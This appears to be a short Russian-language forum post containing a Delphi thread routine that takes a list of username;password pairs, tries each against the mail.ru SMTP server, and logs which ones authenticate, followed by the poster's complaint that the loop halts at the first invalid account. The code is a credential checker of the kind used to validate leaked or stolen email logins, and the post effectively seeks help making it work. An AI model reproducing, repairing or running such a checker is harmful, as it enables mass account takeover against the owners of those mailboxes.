Код:
	procedure thread1.execute;
var
i:integer;
username,pass:string;
begin
form1.IdSMTP1.Host:='smtp.mail.ru';
for i:=0 to form1.Memo1.Lines.Count-1 do
  try
  username:=copy(form1.Memo1.Lines[i],1,pos(';',form1.Memo1.Lines[i])-1);
  pass:=copy(form1.Memo1.lines[i],pos(';',form1.Memo1.Lines[i])+1,length(form1.Memo1.Lines[i])-pos(';',form1.Memo1.Lines[i])+1);
  form1.IdSMTP1.Username:=username;
  form1.IdSMTP1.Password:=pass;
  form1.IdSMTP1.Connect();
  if form1.IdSMTP1.Authenticate then
    begin
    form1.Memo2.Lines.Add(username+';'+pass);
    form1.IdSMTP1.Disconnect;
    end;
except
on E:EIdProtocolReplyError do
    begin
    form1.Memo3.Lines.Add(username+';'+pass);
    end;
end;
end; 
Проверяет до первого невалидного аккаунта, дальше встает